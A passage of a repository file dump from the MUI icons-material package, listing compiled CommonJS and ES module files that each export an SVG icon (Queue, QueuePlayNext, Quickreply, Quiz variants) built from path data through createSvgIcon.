    "path": "packages/mui-icons-material/lib/QueueMusicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6H3v2h12zm0 4H3v2h12zM3 16h8v-2H3zM17 6v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6z\"\n}), 'QueueMusicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6H3v2h12zm0 4H3v2h12zM3 16h8v-2H3zM17 6v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6z\"\n}), 'QueueMusicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h12v2H3zm0 4h8v2H3zm0-8h12v2H3zm14 8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6h-5z\"\n}, \"1\")], 'QueueMusicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h12v2H3zm0 4h8v2H3zm0-8h12v2H3zm14 8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6h-5z\"\n}, \"1\")], 'QueueMusicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}), 'QueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}), 'QueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNext.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2m-8 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNext');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNext.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2m-8 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNext');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2m-8 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2m-8 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v6c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m-8 7V8c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zm10.29 8.71-3.04 3.04c-.41.41-1.09.41-1.5 0s-.41-1.09 0-1.5L21 18l-2.25-2.25c-.41-.41-.41-1.09 0-1.5s1.09-.41 1.5 0l3.04 3.04c.39.39.39 1.03 0 1.42\"\n}), 'QueuePlayNextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v6c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m-8 7V8c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zm10.29 8.71-3.04 3.04c-.41.41-1.09.41-1.5 0s-.41-1.09 0-1.5L21 18l-2.25-2.25c-.41-.41-.41-1.09 0-1.5s1.09-.41 1.5 0l3.04 3.04c.39.39.39 1.03 0 1.42\"\n}), 'QueuePlayNextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h2v-2H3V5h18v8h2zm-10 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h2v-2H3V5h18v8h2zm-10 7V7h-2v3H8v2h3v3h2v-3h3v-2zm11 8-4.5 4.5L18 21l3-3-3-3 1.5-1.5z\"\n}), 'QueuePlayNextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 15v-3h3v-2h-3V7h-2v3H8v2h3v3zm5 0 3 3-3 3 1.5 1.5L24 18l-4.5-4.5zM8 19v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2z\"\n}), 'QueuePlayNextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueuePlayNextTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 15v-3h3v-2h-3V7h-2v3H8v2h3v3zm5 0 3 3-3 3 1.5 1.5L24 18l-4.5-4.5zM8 19v2h8v-2h2v-2H3V5h18v8h2V5c0-1.11-.9-2-2-2H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2z\"\n}), 'QueuePlayNextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'QueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'QueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'QueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'QueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm1-7h4V5h2v4h4v2h-4v4h-2v-4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20c0 1.1.9 2 2 2h14v-2H4V6H2zM20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}, \"1\")], 'QueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm1-7h4V5h2v4h4v2h-4v4h-2v-4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20c0 1.1.9 2 2 2h14v-2H4V6H2zM20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}, \"1\")], 'QueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Quickreply.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-8h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'Quickreply');"
  },
  {
    "path": "packages/mui-icons-material/lib/Quickreply.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-8h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'Quickreply');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17V4h16v6h2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-2H5.17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'QuickreplyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17V4h16v6h2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-2H5.17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'QuickreplyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-7c0-.55.45-1 1-1h6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.69 16H20.3l1.4-3.3c.14-.33-.1-.7-.46-.7H17.5c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5H19v3.94c0 .26.36.35.47.11l2.66-5.33c.17-.33-.07-.72-.44-.72\"\n}, \"1\")], 'QuickreplyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-7c0-.55.45-1 1-1h6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.69 16H20.3l1.4-3.3c.14-.33-.1-.7-.46-.7H17.5c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5H19v3.94c0 .26.36.35.47.11l2.66-5.33c.17-.33-.07-.72-.44-.72\"\n}, \"1\")], 'QuickreplyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h9v-8h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'QuickreplySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h9v-8h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16h-2.2l1.7-4h-5v6h2v5z\"\n}, \"1\")], 'QuickreplySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v13.17L5.17 16H15v-6h5V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.17 16 4 17.17V4h16v6h2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 23 3.5-7h-2.2l1.7-4h-5v6h2z\"\n}, \"2\")], 'QuickreplyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuickreplyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v13.17L5.17 16H15v-6h5V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.17 16 4 17.17V4h16v6h2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9v-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 23 3.5-7h-2.2l1.7-4h-5v6h2z\"\n}, \"2\")], 'QuickreplyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Quiz.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.99 13c-.59 0-1.05-.47-1.05-1.05 0-.59.47-1.04 1.05-1.04.59 0 1.04.45 1.04 1.04-.01.58-.45 1.05-1.04 1.05m2.5-6.17c-.63.93-1.23 1.21-1.56 1.81-.13.24-.18.4-.18 1.18h-1.52c0-.41-.06-1.08.26-1.65.41-.73 1.18-1.16 1.63-1.8.48-.68.21-1.94-1.14-1.94-.88 0-1.32.67-1.5 1.23l-1.37-.57C11.51 5.96 12.52 5 13.99 5c1.23 0 2.08.56 2.51 1.26.37.61.58 1.73.01 2.57\"\n}, \"1\")], 'Quiz');"
  },
  {
    "path": "packages/mui-icons-material/lib/Quiz.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.99 13c-.59 0-1.05-.47-1.05-1.05 0-.59.47-1.04 1.05-1.04.59 0 1.04.45 1.04 1.04-.01.58-.45 1.05-1.04 1.05m2.5-6.17c-.63.93-1.23 1.21-1.56 1.81-.13.24-.18.4-.18 1.18h-1.52c0-.41-.06-1.08.26-1.65.41-.73 1.18-1.16 1.63-1.8.48-.68.21-1.94-1.14-1.94-.88 0-1.32.67-1.5 1.23l-1.37-.57C11.51 5.96 12.52 5 13.99 5c1.23 0 2.08.56 2.51 1.26.37.61.58 1.73.01 2.57\"\n}, \"1\")], 'Quiz');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuizOutlined.js",
